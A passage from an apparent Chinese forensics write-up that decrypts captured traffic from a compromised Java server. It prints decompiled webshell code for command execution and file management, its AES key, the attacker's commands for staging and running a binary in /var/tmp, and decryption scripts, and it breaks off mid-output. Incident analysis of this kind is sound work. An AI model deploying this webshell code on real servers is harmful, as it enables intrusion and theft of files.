再分别Base64解密，可得到LinuxInfo为Linux6.8.0-88-genericamd64，DriveList为/;，LocalIP为172.18.0.2，等等。证明上述确实是读取系统信息。 接着继续解密并逆向，发现执行了一些系统命令： ... /* compiled from: Cmd.java */ /* loaded from: payload-favicondemo(4).ico.class */ public class Zsiywhq { public static String cmd; public static String path; public static String whatever; private static String status = "success"; private Object Request; private Object Response; private Object Session; ... public Zsiywhq() { cmd = ""; cmd += "cd / ;whoami"; path = ""; path += "/"; } ... private String RunCMD(String cmd2) throws Exception { Process p; Charset osCharset = Charset.forName(System.getProperty("sun.jnu.encoding")); String result = ""; if (cmd2 != null && cmd2.length() > 0) { if (System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0) { p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd2}); } else { p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd2}); } BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), osCharset)); String line = br.readLine(); while (true) { String disr = line; if (disr == null) { break; } result = result + disr + "\n"; line = br.readLine(); } BufferedReader br2 = new BufferedReader(new InputStreamReader(p.getErrorStream(), osCharset)); String line2 = br2.readLine(); while (true) { String disr2 = line2; if (disr2 == null) { break; } result = result + disr2 + "\n"; line2 = br2.readLine(); } } return result; } ... } 找下来发现总共执行了这些： cd / ;whoami root cd / ;w 05:58:16 up 9 days, 2:05, 0 users, load average: 0.35, 0.63, 0.29 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT cd / ;ps -ef UID PID PPID C STIME TTY TIME CMD root 1 0 1 03:43 ? 00:01:36 java -jar /shirodemo-1.0-SNAPSHOT.jar root 95 1 0 05:58 ? 00:00:00 /bin/sh -c cd / ;ps -ef root 96 95 0 05:58 ? 00:00:00 ps -ef 没什么用。接着发现接下来内容有了新的模式： {collapse} {collapse-item label="代码部分 - 点击展开"} 内容很长，不想看可以折叠 package sun.suh.tgvtrk; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.nio.ByteBuffer; import java.nio.channels.FileChannel; import java.nio.charset.Charset; import java.nio.file.LinkOption; import java.nio.file.Path; import java.security.MessageDigest; import java.text.DateFormat; import java.text.SimpleDateFormat; import java.util.ArrayList; import java.util.Date; import java.util.HashMap; import java.util.List; import java.util.Map; import java.util.Random; import java.util.Set; import java.util.zip.ZipEntry; import java.util.zip.ZipOutputStream; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; /* compiled from: FileOperation.java */ /* loaded from: payload-favicondemo(10).ico.class */ public class Mcuygmskgn { public static String mode; public static String path; public static String newPath; public static String content; public static String charset; public static String hash; public static String blockIndex; public static String blockSize; public static String createTimeStamp; public static String modifyTimeStamp; public static String accessTimeStamp; private Object Request; private Object Response; private Object Session; private Charset osCharset; private byte[] Encrypt(byte[] bArr) throws Exception { SecretKeySpec secretKeySpec = new SecretKeySpec("1f2c8075acd3d118".getBytes("utf-8"), "AES"); Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); cipher.init(1, secretKeySpec); byte[] bArrDoFinal = cipher.doFinal(bArr); try { Class<?> cls = Class.forName("java.util.Base64"); Object objInvoke = cls.getMethod("getEncoder", null).invoke(cls, null); bArrDoFinal = (byte[]) objInvoke.getClass().getMethod("encode", byte[].class).invoke(objInvoke, bArrDoFinal); } catch (Throwable th) { Object objNewInstance = Class.forName("sun.misc.BASE64Encoder").newInstance(); bArrDoFinal = ((String) objNewInstance.getClass().getMethod("encode", byte[].class).invoke(objNewInstance, bArrDoFinal)).replace("\n", "").replace("\r", "").getBytes(); } return bArrDoFinal; } public Mcuygmskgn() { mode = ""; mode += "list"; path = ""; path += "/"; this.osCharset = Charset.forName(System.getProperty("sun.jnu.encoding")); } public boolean equals(Object obj) throws IllegalAccessException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException { Map<String, String> result = new HashMap(); try { try { fillContext(obj); if (mode.equalsIgnoreCase("list")) { result.put("msg", list()); result.put("status", "success"); } else if (mode.equalsIgnoreCase("show")) { result.put("msg", show()); result.put("status", "success"); } else if (mode.equalsIgnoreCase("checkExist")) { result.put("msg", checkExist(path)); result.put("status", "success"); } else if (mode.equalsIgnoreCase("delete")) { result = delete(); } else if (mode.equalsIgnoreCase("create")) { result.put("msg", create()); result.put("status", "success"); } else if (mode.equalsIgnoreCase("append")) { result.put("msg", append()); result.put("status", "success"); } else if (mode.equalsIgnoreCase("update")) { updateFile(); result.put("msg", "ok"); result.put("status", "success"); } else if (mode.equalsIgnoreCase("downloadPart")) { result.put("msg", downloadPart(path, Long.parseLong(blockIndex), Long.parseLong(blockSize))); result.put("status", "success"); } else { if (mode.equalsIgnoreCase("download")) { download(); try { Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write = so.getClass().getMethod("write", byte[].class); write.invoke(so, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]); so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]); } catch (Exception e) { e.printStackTrace(); } return true; } if (mode.equalsIgnoreCase("rename")) { result = renameFile(); } else if (mode.equalsIgnoreCase("createFile")) { result.put("msg", createFile()); result.put("status", "success"); } else if (mode.equalsIgnoreCase("compress")) { zipFile(path, true); result.put("msg", "ok"); result.put("status", "success"); } else if (mode.equalsIgnoreCase("createDirectory")) { result.put("msg", createDirectory()); result.put("status", "success"); } else if (mode.equalsIgnoreCase("getTimeStamp")) { result.put("msg", getTimeStamp()); result.put("status", "success"); } else if (mode.equalsIgnoreCase("updateTimeStamp")) { result.put("msg", updateTimeStamp()); result.put("status", "success"); } else if (mode.equalsIgnoreCase("check")) { result.put("msg", checkFileHash(path)); result.put("status", "success"); } } try { Object so2 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write2 = so2.getClass().getMethod("write", byte[].class); write2.invoke(so2, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so2.getClass().getMethod("flush", new Class[0]).invoke(so2, new Object[0]); so2.getClass().getMethod("close", new Class[0]).invoke(so2, new Object[0]); return true; } catch (Exception e2) { e2.printStackTrace(); return true; } } catch (Throwable e3) { e3.printStackTrace(); result.put("msg", e3.getMessage()); result.put("status", "fail"); try { Object so3 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write3 = so3.getClass().getMethod("write", byte[].class); write3.invoke(so3, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so3.getClass().getMethod("flush", new Class[0]).invoke(so3, new Object[0]); so3.getClass().getMethod("close", new Class[0]).invoke(so3, new Object[0]); return true; } catch (Exception e4) { e4.printStackTrace(); return true; } } } catch (Throwable th) { try { Object so4 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write4 = so4.getClass().getMethod("write", byte[].class); write4.invoke(so4, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so4.getClass().getMethod("flush", new Class[0]).invoke(so4, new Object[0]); so4.getClass().getMethod("close", new Class[0]).invoke(so4, new Object[0]); } catch (Exception e5) { e5.printStackTrace(); } throw th; } } private String checkFileHash(String path2) throws Exception { FileChannel ch = (FileChannel) sessionGetAttribute(this.Session, path2); if (ch != null && ch.isOpen()) { ch.close(); } byte[] input = getFileData(path2); if (input == null || input.length == 0) { return null; } MessageDigest md5 = MessageDigest.getInstance("MD5"); md5.update(input); byte[] byteArray = md5.digest(); StringBuilder sb = new StringBuilder(); for (byte b : byteArray) { sb.append(String.format("%02x", Byte.valueOf(b))); } return sb.substring(0, 16); } private void updateFile() throws Exception { FileChannel ch = (FileChannel) sessionGetAttribute(this.Session, path); if (ch == null) { FileOutputStream fos = new FileOutputStream(path); ch = fos.getChannel(); sessionSetAttribute(this.Session, "fos", fos); sessionSetAttribute(this.Session, path, ch); } synchronized (ch) { ch.position(Integer.parseInt(blockIndex) * Integer.parseInt(blockSize)); ch.write(ByteBuffer.wrap(base64decode(content))); } } private Map<String, String> warpFileObj(File file) { Map<String, String> obj = new HashMap<>(); obj.put("type", file.isDirectory() ? "directory" : "file"); obj.put("name", file.getName()); obj.put("size", file.length() + ""); obj.put("perm", getFilePerm(file)); obj.put("lastModified", new SimpleDateFormat("yyyy/MM/dd HH:mm:ss").format(new Date(file.lastModified()))); return obj; } private boolean isOldJava() { String version = System.getProperty("java.version"); if (version.compareTo("1.7") >= 0) { return false; } return true; } private String checkExist(String path2) throws Exception { File file = new File(path2); if (file.exists()) { return file.length() + ""; } throw new Exception(""); } private String getFilePerm(File file) throws IllegalAccessException, ClassNotFoundException, IllegalArgumentException, InvocationTargetException { String permStr = ""; if (isWindows()) { try { permStr = (file.canRead() ? "R" : "-") + "/" + (file.canWrite() ? "W" : "-") + "/" + (file.canExecute() ? "E" : "-"); } catch (Error e) { permStr = (file.canRead() ? "R" : "-") + "/" + (file.canWrite() ? "W" : "-") + "/-"; } } else { String version = System.getProperty("java.version"); if (version.compareTo("1.7") >= 0) { try { getClass(); Class FilesCls = Class.forName("java.nio.file.Files"); getClass(); Class PosixFileAttributesCls = Class.forName("java.nio.file.attribute.PosixFileAttributes"); getClass(); Class PathsCls = Class.forName("java.nio.file.Paths"); getClass(); Class PosixFilePermissionsCls = Class.forName("java.nio.file.attribute.PosixFilePermissions"); Object f = PathsCls.getMethod("get", String.class, String[].class).invoke(PathsCls.getClass(), file.getAbsolutePath(), new String[0]); Object attrs = FilesCls.getMethod("readAttributes", Path.class, Class.class, LinkOption[].class).invoke(FilesCls, f, PosixFileAttributesCls, new LinkOption[0]); Object result = PosixFilePermissionsCls.getMethod("toString", Set.class).invoke(PosixFilePermissionsCls, PosixFileAttributesCls.getMethod("permissions", new Class[0]).invoke(attrs, new Object[0])); permStr = result.toString(); } catch (Exception e2) { } } else { permStr = (file.canRead() ? "R" : "-") + "/" + (file.canWrite() ? "W" : "-") + "/" + (file.canExecute() ? "E" : "-"); } } return permStr; } private String list() throws Exception { File f = new File(path); List<Map<String, String>> objArr = new ArrayList<>(); objArr.add(warpFileObj(new File("."))); objArr.add(warpFileObj(new File(".."))); if (f.isDirectory() && f.listFiles() != null) { for (File temp : f.listFiles()) { objArr.add(warpFileObj(temp)); } } String result = buildJsonArray(objArr, true); return result; } private String show() throws Exception { byte[] fileContent = getFileData(path); return base64encode(fileContent); } private byte[] getFileData(String path2) throws IOException { ByteArrayOutputStream output = new ByteArrayOutputStream(); FileInputStream fis = new FileInputStream(new File(path2)); while (true) { int data = fis.read(); if (data != -1) { output.write(data); } else { fis.close(); return output.toByteArray(); } } } private String create() throws Exception { FileOutputStream fso = new FileOutputStream(path); fso.write(base64decode(content)); fso.flush(); fso.close(); String result = path + "上传完成，远程文件大小:" + new File(path).length(); return result; } private Map<String, String> renameFile() throws Exception { Map<String, String> result = new HashMap<>(); File oldFile = new File(path); File newFile = new File(newPath); if (oldFile.exists() && (oldFile.isFile() & oldFile.renameTo(newFile))) { result.put("status", "success"); result.put("msg", "重命名完成:" + newPath); } else { result.put("status", "fail"); result.put("msg", "重命名失败:" + newPath); } return result; } private String createFile() throws Exception { FileOutputStream fso = new FileOutputStream(path); fso.close(); String result = path + "创建完成"; return result; } private String createDirectory() throws Exception { File dir = new File(path); dir.mkdirs(); String result = path + "创建完成"; return result; } private void download() throws Exception { FileInputStream fis = new FileInputStream(path); Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write = so.getClass().getMethod("write", byte[].class); while (true) { int data = fis.read(); if (data != -1) { write.invoke(so, Integer.valueOf(data)); } else { so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]); so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]); fis.close(); return; } } } private String append() throws Exception { FileOutputStream fso = new FileOutputStream(path, true); fso.write(base64decode(content)); fso.flush(); fso.close(); String result = path + "追加完成，远程文件大小:" + new File(path).length(); return result; } private Map<String, String> delete() throws Exception { Map<String, String> result = new HashMap<>(); File f = new File(path); if (f.exists()) { if (f.delete()) { result.put("status", "success"); result.put("msg", path + " 删除成功."); } else { result.put("status", "fail"); result.put("msg", "文件" + path + "存在，但是删除失败."); } } else { result.put("status", "fail"); result.put("msg", "文件不存在."); } return result; } private String getTimeStamp() throws Exception { DateFormat df = new SimpleDateFormat("yyyy/MM/dd HH:mm:ss"); File f = new File(path); Map<String, String> timeStampObj = new HashMap<>(); if (f.exists()) { getClass(); Class FilesCls = Class.forName("java.nio.file.Files"); getClass(); Class BasicFileAttributesCls = Class.forName("java.nio.file.attribute.BasicFileAttributes"); getClass(); Class PathsCls = Class.forName("java.nio.file.Paths"); Object file = PathsCls.getMethod("get", String.class, String[].class).invoke(PathsCls.getClass(), path, new String[0]); Object attrs = FilesCls.getMethod("readAttributes", Path.class, Class.class, LinkOption[].class).invoke(FilesCls, file, BasicFileAttributesCls, new LinkOption[0]); Class FileTimeCls = Class.forName("java.nio.file.attribute.FileTime"); Object createTime = FileTimeCls.getMethod("toMillis", new Class[0]).invoke(BasicFileAttributesCls.getMethod("creationTime", new Class[0]).invoke(attrs, new Object[0]), new Object[0]); Object lastAccessTime = FileTimeCls.getMethod("toMillis", new Class[0]).invoke(BasicFileAttributesCls.getMethod("lastAccessTime", new Class[0]).invoke(attrs, new Object[0]), new Object[0]); Object lastModifiedTime = FileTimeCls.getMethod("toMillis", new Class[0]).invoke(BasicFileAttributesCls.getMethod("lastModifiedTime", new Class[0]).invoke(attrs, new Object[0]), new Object[0]); String createTimeStamp2 = df.format(new Date(((Long) createTime).longValue())); String lastAccessTimeStamp = df.format(new Date(((Long) lastAccessTime).longValue())); String lastModifiedTimeStamp = df.format(new Date(((Long) lastModifiedTime).longValue())); timeStampObj.put("createTime", createTimeStamp2); timeStampObj.put("lastAccessTime", lastAccessTimeStamp); timeStampObj.put("lastModifiedTime", lastModifiedTimeStamp); String result = buildJson(timeStampObj, true); return result; } throw new Exception("文件不存在"); } private boolean isWindows() { if (System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0) { return true; } return false; } private String updateTimeStamp() throws Exception { DateFormat df = new SimpleDateFormat("yyyy/MM/dd HH:mm:ss"); File f = new File(path); if (f.exists()) { f.setLastModified(df.parse(modifyTimeStamp).getTime()); if (!isOldJava()) { Class PathsCls = Class.forName("java.nio.file.Paths"); Class BasicFileAttributeViewCls = Class.forName("java.nio.file.attribute.BasicFileAttributeView"); Class FileTimeCls = Class.forName("java.nio.file.attribute.FileTime"); Method getFileAttributeView = Class.forName("java.nio.file.Files").getMethod("getFileAttributeView", Path.class, Class.class, LinkOption[].class); Object attributes = getFileAttributeView.invoke(Class.forName("java.nio.file.Files"), PathsCls.getMethod("get", String.class, String[].class).invoke(PathsCls.getClass(), path, new String[0]), BasicFileAttributeViewCls, new LinkOption[0]); Object createTime = FileTimeCls.getMethod("fromMillis", Long.TYPE).invoke(FileTimeCls, Long.valueOf(df.parse(createTimeStamp).getTime())); Object accessTime = FileTimeCls.getMethod("fromMillis", Long.TYPE).invoke(FileTimeCls, Long.valueOf(df.parse(accessTimeStamp).getTime())); Object modifyTime = FileTimeCls.getMethod("fromMillis", Long.TYPE).invoke(FileTimeCls, Long.valueOf(df.parse(modifyTimeStamp).getTime())); BasicFileAttributeViewCls.getMethod("setTimes", FileTimeCls, FileTimeCls, FileTimeCls).invoke(attributes, modifyTime, accessTime, createTime); } return "时间戳修改成功。"; } throw new Exception("文件不存在"); } private String downloadPart(String path2, long blockIndex2, long blockSize2) throws Exception { int size; FileChannel ch = (FileChannel) sessionGetAttribute(this.Session, path2); if (ch == null) { FileInputStream fis = new FileInputStream(path2); ch = fis.getChannel(); sessionSetAttribute(this.Session, "fis", fis); sessionSetAttribute(this.Session, path2, ch); } ByteBuffer buffer = ByteBuffer.allocate((int) blockSize2); synchronized (ch) { ch.position(blockIndex2 * blockSize2); size = ch.read(buffer); } byte[] content2 = new byte[size]; System.arraycopy(buffer.array(), 0, content2, 0, size); return base64encode(content2); } private static void zipFile(String srcDir, boolean KeepDirStructure) throws Exception { File file = new File(srcDir); String fileName = file.getName(); FileOutputStream out = new FileOutputStream(new File(srcDir).getParentFile().getAbsolutePath() + File.separator + fileName + ".zip"); System.currentTimeMillis(); ZipOutputStream zos = null; try { try { zos = new ZipOutputStream(out); File sourceFile = new File(srcDir); compress(sourceFile, zos, sourceFile.getName(), KeepDirStructure); System.currentTimeMillis(); if (zos != null) { try { zos.close(); } catch (IOException e) { e.printStackTrace(); } } } catch (Exception e2) { throw new RuntimeException("zip error from ZipUtils", e2); } } catch (Throwable th) { if (zos != null) { try { zos.close(); } catch (IOException e3) { e3.printStackTrace(); } } throw th; } } private static void compress(File sourceFile, ZipOutputStream zos, String name, boolean KeepDirStructure) throws Exception { byte[] buf = new byte[102400]; if (sourceFile.isFile()) { zos.putNextEntry(new ZipEntry(name)); FileInputStream in = new FileInputStream(sourceFile); while (true) { int len = in.read(buf); if (len != -1) { zos.write(buf, 0, len); } else { zos.closeEntry(); in.close(); return; } } } else { File[] listFiles = sourceFile.listFiles(); if (listFiles == null || listFiles.length == 0) { if (KeepDirStructure) { zos.putNextEntry(new ZipEntry(name + "/")); zos.closeEntry(); return; } return; } for (File file : listFiles) { if (KeepDirStructure) { compress(file, zos, name + "/" + file.getName(), KeepDirStructure); } else { compress(file, zos, file.getName(), KeepDirStructure); } } } } ... } {/collapse-item} {/collapse} 发现是获取了/的文件列表，返回值也印证了这一点。后续的几个包分别获取了： /tmp/ /var/ /var/tmp/ 的列表。 再之后发现： package sun.yxiw; ... /* compiled from: FileOperation.java */ /* loaded from: payload-favicondemo(18).ico.class */ public class Auydc { ... public Auydc() { mode = ""; mode += "update"; path = ""; path += "/var/tmp/out"; blockIndex = ""; blockIndex += "2"; blockSize = ""; blockSize += "30720"; content = ""; content += "h61Bx+...X2zlQkI5M"; this.osCharset = Charset.forName(System.getProperty("sun.jnu.encoding")); } ... } 调用了写入文件的功能，往/var/tmp/out追加写入了content经过Base64解密的内容。再往后找发现有大量的类似追加请求。尝试通过Wireshark的Export Objects导出所有/favicondemo.ico，发现有737个文件，编写一个Python脚本从中批量解密并提取保存成java class文件或者txt返回信息： import os import re import base64 from Crypto.Cipher import AES KEY = b"1f2c8075acd3d118" DIR = "export" def decrypt_to_class(data): try: cipher = AES.new(KEY, AES.MODE_ECB) dec = cipher.decrypt(base64.b64decode(data)) return dec[:-dec[-1]] except Exception: return b"" chunks = [] def get_sort_key(fname): match = re.search(r'\((\d+)\)', fname) return int(match.group(1)) if match else 0 files = sorted(os.listdir(DIR), key=get_sort_key) for fname in files: path = os.path.join(DIR, fname) with open(path, "rb") as f: body = f.read().strip() data = decrypt_to_class(body) if data.startswith(b"\xca\xfe\xba\xbe"): with open(f"payload-{fname}.class", "wb") as file: file.write(data) print(f"Dump {fname} as java class file") else: with open(f"payload-{fname}.txt", "wb") as file: file.write(data) print(f"Dump {fname} as txt file") 一路看过去，发现中间都是在上传，最后检查了一遍Hash： package sun.pquyv; ... /* compiled from: FileOperation.java */ /* loaded from: payload-favicondemo(722).ico.class */ public class Yfnc { ... public Yfnc() { mode = ""; mode += "check"; path = ""; path += "/var/tmp/out"; hash = ""; hash += "a0275c1593af1adb"; this.osCharset = Charset.forName(System.getProperty("sun.jnu.encoding")); } private String checkFileHash(String path2) throws Exception { FileChannel ch = (FileChannel) sessionGetAttribute(this.Session, path2); if (ch != null && ch.isOpen()) { ch.close(); } byte[] input = getFileData(path2); if (input == null || input.length == 0) { return null; } MessageDigest md5 = MessageDigest.getInstance("MD5"); md5.update(input); byte[] byteArray = md5.digest(); StringBuilder sb = new StringBuilder(); for (byte b : byteArray) { sb.append(String.format("%02x", Byte.valueOf(b))); } return sb.substring(0, 16); } ... } 并且给予执行权限： package net.zlzbr.fsio.vbycsd; ... /* compiled from: Cmd.java */ /* loaded from: payload-favicondemo(734).ico.class */ public class Xxzrrw { public static String cmd; public static String path; public static String whatever; private static String status = "success"; private Object Request; private Object Response; private Object Session; ... public Xxzrrw() { cmd = ""; cmd += "cd /var/tmp/ ;chmod +x out"; path = ""; path += "/var/tmp/"; } ... } 然后执行： package org.zhnnj; ... /* compiled from: Cmd.java */ /* loaded from: payload-favicondemo(736).ico.class */ public class Imrdoaaxs { ... public Imrdoaaxs() { cmd = ""; cmd += "cd /var/tmp/ ;./out --aes-key IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs="; path = ""; path += "/var/tmp/"; } ... } 得到了一个aes-key：IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=，之后就没有任何HTTP通信了。 第三层: 手写Shell 上面的HTTP流之后有一个TCP流通信，Dump出来发现： 1f000000 33740a2c22b1e703d2f1480b321f3e4cdc8eb50da84ca0a76543b6bbadf60a 24000000 5c8a2365d717d71114b7be5599d5cfff553f2f0b2251505c3f5ada10a77be1bf35852f9c 1e000000 e3ee79aaf91b813d407e18095278046d32c10567fe57d60459d32f6df234 1f000000 bd345efc1465b04f38a410a09ed999e9849a570c27dd75e8d6b8aac5a4f22f 30000000 be53ef2dc360548f22bd7145f4e1733ffeb228db69b28e76ccb65ea9d8e33a709cfae6579a795f4045dbc2f6300cd871 2b000000 2b7991ad1cfcb2c0b334f5ee5cfb1be844f232c5062190e5e7bfb2208ef40aec6cff1aa7df01285fd3a92a 6e000000 8ac33897541bf959bb223309ffa07a25c49245bb988404180f84d7baef2c2ca8dfd669d39d3fa9c9e66b3da81834c7121cad53ffb16b38dcb062b2b3ce1b634f3bac9ed6e161661efb67ab754eb078718c484cb1b9ec873a103035fdc0b28ed418aa11e68b561599b9685ae54b95 69000000 5fb656ee12487f33e75202b3bec1a6728977618d6b221fb887fa90d36cb5ff75949c1ae90608e22fc81a12fb2e576dd2df4330fcbf619b19455dcfe6c9ae2a8e730cf9010dcc3a15f04bec1fa70b051792d4e197cee0f075405b366472711d1d94f5bb349348bf05d5 24000000 410d930f46d9e71c2200eb1fc4ec9986fd2d72ab2c35aa85fe66fa664a3729e3e9a906b6 1f000000 7ccb9636b4b330000914519540b5a3b0bacb6f594c3b03ff582d62084c1af4 因为其长度不固定，推测不是ECB和CBC，尝试使用常见的CTR和CFB： import base64 import binascii from Crypto.Cipher import AES from Crypto.Util import Counter key = base64.b64decode("IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=") hex_str = """ 1f000000 33740a2c22b1e703d2f1480b321f3e4cdc8eb50da84ca0a76543b6bbadf60a 24000000 5c8a2365d717d71114b7be5599d5cfff553f2f0b2251505c3f5ada10a77be1bf35852f9c 1e000000 e3ee79aaf91b813d407e18095278046d32c10567fe57d60459d32f6df234 1f000000 bd345efc1465b04f38a410a09ed999e9849a570c27dd75e8d6b8aac5a4f22f 30000000 be53ef2dc360548f22bd7145f4e1733ffeb228db69b28e76ccb65ea9d8e33a709cfae6579a795f4045dbc2f6300cd871 2b000000 2b7991ad1cfcb2c0b334f5ee5cfb1be844f232c5062190e5e7bfb2208ef40aec6cff1aa7df01285fd3a92a 6e000000 8ac33897541bf959bb223309ffa07a25c49245bb988404180f84d7baef2c2ca8dfd669d39d3fa9c9e66b3da81834c7121cad53ffb16b38dcb062b2b3ce1b634f3bac9ed6e161661efb67ab754eb078718c484cb1b9ec873a103035fdc0b28ed418aa11e68b561599b9685ae54b95 69000000 5fb656ee12487f33e75202b3bec1a6728977618d6b221fb887fa90d36cb5ff75949c1ae90608e22fc81a12fb2e576dd2df4330fcbf619b19455dcfe6c9ae2a8e730cf9010dcc3a15f04bec1fa70b051792d4e197cee0f075405b366472711d1d94f5bb349348bf05d5 24000000 410d930f46d9e71c2200eb1fc4ec9986fd2d72ab2c35aa85fe66fa664a3729e3e9a906b6 1f000000 7ccb9636b4b330000914519540b5a3b0bacb6f594c3b03ff582d62084c1af4 """.replace('\n', '').replace(' ', '') data = binascii.unhexlify(hex_str) chunks = [] i = 0 while i < len(data): length = int.from_bytes(data[i:i+4], 'little') i += 4 chunk = data[i:i+length] chunks.append(chunk) i += length iv=b'\x00' * 16 print(f"iv:0*16") print("ctr:") ctr = Counter.new(128, initial_value=int.from_bytes(iv, 'big')) cipher_ctr = AES.new(key, AES.MODE_CTR, counter=ctr) for idx, c in enumerate(chunks): dec = cipher_ctr.decrypt(c) print(f"{idx}: len{len(dec)}: {dec}") print("cfb:") cipher_cfb = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=128) for idx, c in enumerate(chunks): dec = cipher_cfb.decrypt(c) print(f"{idx}: len{len(dec)}: {dec}") iv=b'\xff' * 16 print(f"iv:ff*16") print("ctr:") ctr = Counter.new(128, initial_value=int.from_bytes(iv, 'big')) cipher_ctr = AES.new(key, AES.MODE_CTR, counter=ctr) for idx, c in enumerate(chunks): dec = cipher_ctr.decrypt(c) print(f"{idx}: len{len(dec)}: {dec}") print("cfb:") cipher_cfb = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=128) for idx, c in enumerate(chunks): dec = cipher_cfb.decrypt(c) print(f"{idx}: len{len(dec)}: {dec}") iv=key[:16] print(f"iv:key[:16]s") print("ctr:") ctr = Counter.new(128, initial_value=int.from_bytes(iv, 'big')) cipher_ctr = AES.new(key, AES.MODE_CTR, counter=ctr) for idx, c in enumerate(chunks): dec = cipher_ctr.decrypt(c) print(f"{idx}: len{len(dec)}: {dec}") print("cfb:") cipher_cfb = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=128) for idx, c in enumerate(chunks): dec = cipher_cfb.decrypt(c) print(f"{idx}: len{len(dec)}: {dec}") 发现没有可读数据： {collapse} {collapse-item label="代码部分 - 点击展开"} iv:0*16 ctr: 0: len31: b'\xdc\xcf@\x8fB9"\xb0\xa6\xbf\xc2\x1e\xb6Z\xeb_F\xa9wHg\xd4"w9[j\xb8}\xe0\xf9' 1: len36: b'K%\xd7+\xc2K\\A\xf3\x9b\xff&\xe0G\xe02\xbeLh\xe3\x90\xcf\xd1\xd3;\xd5\x0e \xcd\xda\xd9\xcb\xcc\x0b\xd2{' 2: len30: b'\x04\x8a\xbc\x83<\xdbA8\xf7zdk\xd7\xb7I\xf2~\x91\\],\xc1\x83\xaa\xc0\xc5-N\xfd\xa4' 3: len31: b'\xf8\x19\xc5\x83\xf7-\r*\xd4g\xd6QzX\xa1\x18\x14\xf6,\x1e\xb3f\x85"\xbb\x84H\x0cHz\xd2' 4: len48: b'\xe9\xb5\x887\xfc\x99\xb3I\x13_\x82\x14\xf1\xd4\x02\x86-\xa4\xa6`\x122\x83\x9aDFW\xecj\xb8\xect\x11\xc2\xf9\x86\x95\xdfYD1c\xbd\xba\xc2\x10\xdbg' 5: len43: b'\x00\xd8*\x1cf\xbf\xe0\x1e)\x1c+\x9b\x0bTN_,\x81\xe5\xfdU\x84BD\xc93\x86\xe0\x04~+\x06\xaa7\x9dqU+\xdf\t\xc5\xc2\xbe' 6: len110: b'~w\xdd4\xb39\xb1w\xf8/#N\x8d\xacf}m\xcf\xf03\xd9\x90\x01I\x95&qq\x9d\xbc.\xe5\x80~\xb6\xbb\xa9\x82\xf9\xe1\xf8\xc3\xf6JD\xcdr\x0e\xcafT\x14\xbed\xa1\x0f\x85\xaf\x01\xc0o\xc8\xeeI\xf6\xa8\xb8\xed\x95\x12\x13h\x16\xb9\xe9\n5\x8c\x03\xba\x05\xc1\xaa&P\x94\x00[n\xcf\xd1^ U\xbc^ v\\\x1e\xc6\xcd\x93L0P\x1cF\xd1;' 7: len105: b'\x9e,\x03F\x97\xae\xc4\xd6U\x05\xbe\xd7\x82i\xde*L\xadMNa\xe4\xa6\xf7!F\xe4y\xab\xe9\x9b\x1e\x98w\xd8\x94\xc9\x1a\xba\xec\x9cI\xd7\xeesfhV\xccR%\x95\xbbW\x85N\x08J\xe29\x8e"#IS\xca\xd0\xa2\xe7\xb8\x88\x8d4\xb1\x07\x06\xba\x18jt\xeeB\xcf8n\xc9\xa6\xcb;\x80\x1fz\xc9y\x9a\xed\\1E\xe5\x9a5\xab\xdbT' 8: len36: b'U|H\xd2\x0e\x1cN\t\xd2\x0e\xe3\x93[\x1c\xac[\xc6\x9f\xc7J\x16\x8f9\xd6\xc2\xd5W<\xee\xa9~\xf3\x0b\xfb\xdc\x02' 9: len31: b"|\xbb\xfc3\xae\xae\xab\xca\xd3eg0\t\xa3i\x12\xa7I&\x8b(\x1f=y\xc869'\xd0b\x9d" cfb: 0: len31: b'\xdc\xcf@\x8fB9"\xb0\xa6\xbf\xc2\x1e\xb6Z\xeb_\x1b\x10\tAv\xef\xde\xff0\x8cze\xaa\xf9\x9d' 1: len36: b"7\x01\xc0&\xa8\x88\xad5\x1d\xa4\xbd]F\nE{Vq\xcf\xbd#\xbe\x7f'\x8d\x0b\xae\xa1\xc17zk$\xfd\x88\x04" 2: len30: b'S\xa69\xb2w\x99\xffT\x9e\x10\x0cIL\xe8mI\x01\xf7\x96\x9dcp"\xdd\xef\xf1P\xf6me' 3: len31: b')\xf7\x99j5\xa9\xd70\x8e\x81\xda\xb6\x0bSY\xd9G.\x0b`\x83\xae\xf7d\x1f\xe9\xff\x80<@\xa6' 4: len48: b'V\x0f\xfc!w\xc5{\x06\xf7"\xcdQ\x1d\x0b\x11\xe1\xb9\xaa\x1cXE\xe8\r\xc1\x83\x15\xe8\r\ti=K\xa3\n\xe1\xbd\xafy\x83a]\xf6\xb75\xcfb\x86\x03' 5: len43: b'W\x85\xe2{o\x8d\xd4\xa3\xdaU^\xdb\xa1\x0bR\x03]\xd9\xf0,$Uv&\x16\r\xab\xd3\xc9\x0c 